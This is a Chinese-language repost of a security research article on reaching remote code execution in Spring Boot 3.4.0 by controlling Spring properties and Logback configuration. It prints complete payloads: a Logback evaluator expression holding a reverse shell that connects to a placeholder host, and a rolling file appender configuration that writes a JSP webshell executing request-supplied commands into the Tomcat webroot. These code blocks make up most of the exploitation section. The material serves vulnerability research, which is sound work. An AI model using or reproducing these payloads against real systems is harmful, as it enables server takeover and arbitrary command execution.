利用 Spring Boot 3.4.0 属性进行远程代码执行

admin 2024年12月11日23:14:49评论18 views字数 6880阅读22分56秒阅读模式

利用 Spring Boot 3.4.0 属性进行远程代码执行

我最近偶然发现了 Steven Seeley 的这篇很棒的文章。在这篇文章中,Steven 的一名学生在 Spring 应用程序中发现了一个有限的文件写入漏洞。Steven 能够利用对 Spring 文件的控制application.xml来设置任意的 Spring 属性,并滥用它来重新配置 Logback 库以实现远程代码执行 (RCE)。在他的结论中,Steven 表示可能还有其他机制可以实现 RCE,并鼓励其他研究人员探索 Spring。这激励了我这样做,在这篇文章中,我将详细介绍我如何找到在 Spring 中获取 RCE 的两种替代途径。

我想找到一种适用于最新版本 Spring 的通用方法,因此在分析中,我的设置是使用 Java 21、Tomcat 10.1 和 Spring Boot 3.4.0。我创建了一个简单的易受攻击的应用程序,模仿 Steven 在他的文章中提供的模拟代码,该代码包含一个允许将任意xml文件写入 Tomcat 根目录的问题。本文不会深入讨论这些细节,因为 Steven 已经讨论过这个问题,而且这与滥用 Spring 属性实现 RCE 的任务无关。本文中的技术假设攻击能够通过某些应用程序级漏洞来修改 Spring 配置。

了解了背景知识后,让我们深入研究通过 Spring 属性实现 RCE 的两种途径。

Logback 评估器过滤器

正如 Steven 的文章中提到的那样。Spring logging.config属性可用于为 Spring 提供 Logback 配置文件。它看起来像这样:

<!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd">
<properties>
   <entry key="logging.config">http://[HOST]:[PORT]/logback.xml</entry>
</properties>

在阅读 Logback 的文档时,我还看到 Logback 可以通过logback.groovy文件进行配置。这引起了我的兴趣,因为 Groovy 本身就是一门完整的语言,但是当我尝试加载远程 Groovy 文件时,我遇到了 XML 解析错误,在进一步阅读之后,我发现 Logback 似乎出于这个原因默认放弃了对 Groovy 的支持。所以不幸的是,这种方法不是一种选择。 

最终,我偶然发现了Filters文档。在 Logback 中,过滤器基于三元逻辑,允许定义策略以有选择地处理特定的日志事件。在文档中,过滤器EvaluatorFilter立即看起来很有趣。

<configuration>
 <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
   <filter class="ch.qos.logback.core.filter.EvaluatorFilter">     
     <evaluator> <!-- defaults to type ch.qos.logback.classic.boolex.JaninoEventEvaluator -->
       <expression>return message.contains("billing");</expression>
     </evaluator>
     <OnMismatch>NEUTRAL</OnMismatch>
     <OnMatch>DENY</OnMatch>
   </filter>
   <encoder>
     <pattern>
       %-4relative [%thread] %-5level %logger -%kvp -%msg%n
     </pattern>
   </encoder>
 </appender>
 <root level="INFO">
   <appender-ref ref="STDOUT" />
 </root>
</configuration>

上面例子中的元素Expression允许评估任意 Java 块,从而允许定义细粒度的策略。在这里我们可以放置任意 Java 并实现 RCE。

<configuration>
 <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
   <filter class="ch.qos.logback.core.filter.EvaluatorFilter">
     <evaluator>
       <expression>
         <![CDATA[
           try {
             java.net.Socket socket = new java.net.Socket("[HOST]", [PORT]);
             java.io.InputStream in = socket.getInputStream();
             java.io.OutputStream out = socket.getOutputStream();
             java.util.Scanner scanner = new java.util.Scanner(in);
             java.io.PrintWriter writer = new java.io.PrintWriter(out, true);
             writer.println("Reverse shell connected!");
             while (scanner.hasNextLine()) {
               String command = scanner.nextLine();
               try {
                 String output = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\A").next();
                 writer.println(output);
               } catch (Exception e) {
                 writer.println("Error executing command: " + e.getMessage());
               }
             }
             socket.close();
           } catch (Exception e) {
             e.printStackTrace();
           }
           return message.contains("billing");
         ]]>
       </expression>
     </evaluator>
     <OnMismatch>NEUTRAL</OnMismatch>
     <OnMatch>DENY</OnMatch>
   </filter>
   <encoder>
     <pattern>
       pwnpwnpwn %-4relative [%thread] %-5level %logger -%kvp -%msg%n
     </pattern>
   </encoder>
 </appender>
 <root level="DEBUG">
   <appender-ref ref="STDOUT" />
 </root>
</configuration>

上述配置中包含一个典型的反向 shell 负载expression。这将产生一个交互式 shell。

利用 Spring Boot 3.4.0 属性进行远程代码执行

虽然这种方法有效,但它并不是我所希望的通用漏洞。EvaluatorFilter依赖于Janino一个小型、快速的 Java 编译器。默认情况下,Spring Boot 应用程序中不包含此依赖项,因此要使此方法有效,目标应用程序必须已经在某种程度上使用了 Janino。让我们继续探索……

文件追加器

Logback 将写入日志事件的任务委托给称为附加程序的组件。附加程序实现接口ch.qos.logback.core.Appender并最终负责输出日志事件。您将看到的最常见的附加程序是ConsoleFile附加程序,它们分别将日志事件输出到STDOUT或文件。下面的 Logback 配置显示了使用这两种类型的示例。

<configuration>

 <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
   <encoder>
     <pattern>%-4relative [%thread] %-5level %logger{35} -%kvp- %msg %n</pattern>
   </encoder>
 </appender>
 <appender name="FILE" class="ch.qos.logback.core.FileAppender">
   <file>testFile.log</file>
   <append>true</append>
   <immediateFlush>true</immediateFlush>
   <encoder>
     <pattern>%-4relative [%thread] %-5level %logger{35} -%kvp- %msg%n</pattern>
   </encoder>
 </appender>

 <root level="DEBUG">
   <appender-ref ref="STDOUT" />
   <appender-ref ref="FILE" />
 </root>
</configuration>

在上述文件附加器中,我们可以指定写入日志文件的路径,并在模式中定义日志事件的格式。根据定义的模式,记录的每个事件都将导致新行写入目标日志。 

您可能已经知道这是怎么回事了,我们可以写入任意位置并控制附加到文件的行的内容。这具有经典 webshell 的所有特征。如果我们可以将文件写入jsp应用程序的 webroot,那么我们就可以通过 HTTP 请求此资源,此时 Tomcat 将执行文件中包含的任何 Java 代码。

然而,在如何利用这一点上有一些细微差别,正如您所见,Logback 配置文件是 XML 格式,因此我们必须对尖括号(<和>)进行编码或使用 CDATA 来确保文档有效为 XML。此外,一些其他字符(例如%和))在 Logback 中与模式有关,因此必须对其进行适当的转义,否则我们会在 Logback 解析模式时遇到错误。

我们可以将所有这些放在一起并用来java.lang.Runtime.exec构建一个有效负载,该有效负载读取查询参数并将其作为 shell 命令执行。

<pattern>&lt;% try { String command = request.getParameter("c"); String result = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A").next(); out.print(result); } catch (Exception e) { e.printStackTrace(); } %&gt;</pattern>

现在,虽然上述有效载荷有效,但我们还有另一个问题。当尝试请求 webshell 时,你可能会遇到以下错误:

springtest-tomcat-1  | An error occurred at line: [84] in the generated java file: [/usr/local/tomcat/work/Catalina/localhost/helloworld/org/apache/jsp/logs/tests_jsp.java]
springtest-tomcat-1  | The code of method _jspService(HttpServletRequest, HttpServletResponse) is exceeding the 65535 bytes limit

由于每次写入日志时,FileAppender 都会将我们的 webshell 的 Java 附加到我们的恶意日志文件中,所以文件很容易超出 Java 虚拟机规范中指定的字节码限制,这使得这种漏洞利用不可靠,因为合法的日志记录事件可以累积并使我们的文件超出限制。 

这里的一个潜在解决方案是使用 Logbacks 支持条件配置,这将允许 Appender 仅在满足特定条件时写入,但经过进一步检查,条件配置依赖于Janino我们之前的 RCE 技术。因此,这不是任何 Spring Boot 应用程序的通用解决方案。

最终解决这个问题非常简单,我们可以利用 Logbacks 日志文件轮换来为我们的日志设置最大文件大小,确保永远不会超过字节码限制。 

<configuration debug="true">

   <appender name="FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">
       <file>/usr/local/tomcat/webapps/helloworld/logs/tests.jsp</file>
       <append>true</append>
       <rollingPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy">
           <fileNamePattern>/usr/local/tomcat/webapps/helloworld/logs/tests-%d{yyyy-MM-dd}.%i.jsp</fileNamePattern>
           <maxFileSize>1KB</maxFileSize>
           <maxHistory>3</maxHistory>
           <totalSizeCap>3KB</totalSizeCap>
       </rollingPolicy>
       <encoder class="ch.qos.logback.classic.encoder.PatternLayoutEncoder">
           <pattern>&lt;% try { String command = request.getParameter("c"); String result = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A").next(); out.print(result); } catch (Exception e) { e.printStackTrace(); } %&gt;</pattern>
       </encoder>
   </appender>

   <root level="debug">
       <appender-ref ref="FILE" />
   </root>
</configuration>

虽然这不是最优雅的方法,因为我们的 webshell 仍然被多次写入 webshell,但该技术可靠地工作并允许我们实现 RCE 的目标,如下所示。

利用 Spring Boot 3.4.0 属性进行远程代码执行

注意事项

Spring 应用程序的部署方法会显著影响这些技术的可利用性。我们的方法假设能够上传或修改 Spring 配置文件,并且需要重新启动应用程序才能使更改生效。然而,在容器化环境中,在应用程序重新启动后保留攻击者控制的 Spring 配置文件可能会带来挑战,具体取决于部署配置。

结论

我介绍了两种利用 Logback 配置在 Spring Boot 应用程序中实现远程代码执行 (RCE) 的方法。这些技术在最新版本的 Spring Boot 上有效,第二种方法不需要额外的依赖项。

Logback 和 Spring 中广泛的配置选项可能包含许多其他功能,这些功能可用于将简单的受限文件写入升级为 Spring 应用程序中的 RCE。正如 Steven 恰当地建议的那样,我强烈鼓励研究人员深入研究 Spring 的复杂性,以进行进一步探索。

原文始发于微信公众号(Ots安全):利用 Spring Boot 3.4.0 属性进行远程代码执行

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月11日23:14:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用 Spring Boot 3.4.0 属性进行远程代码执行https://cn-sec.com/archives/3497004.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息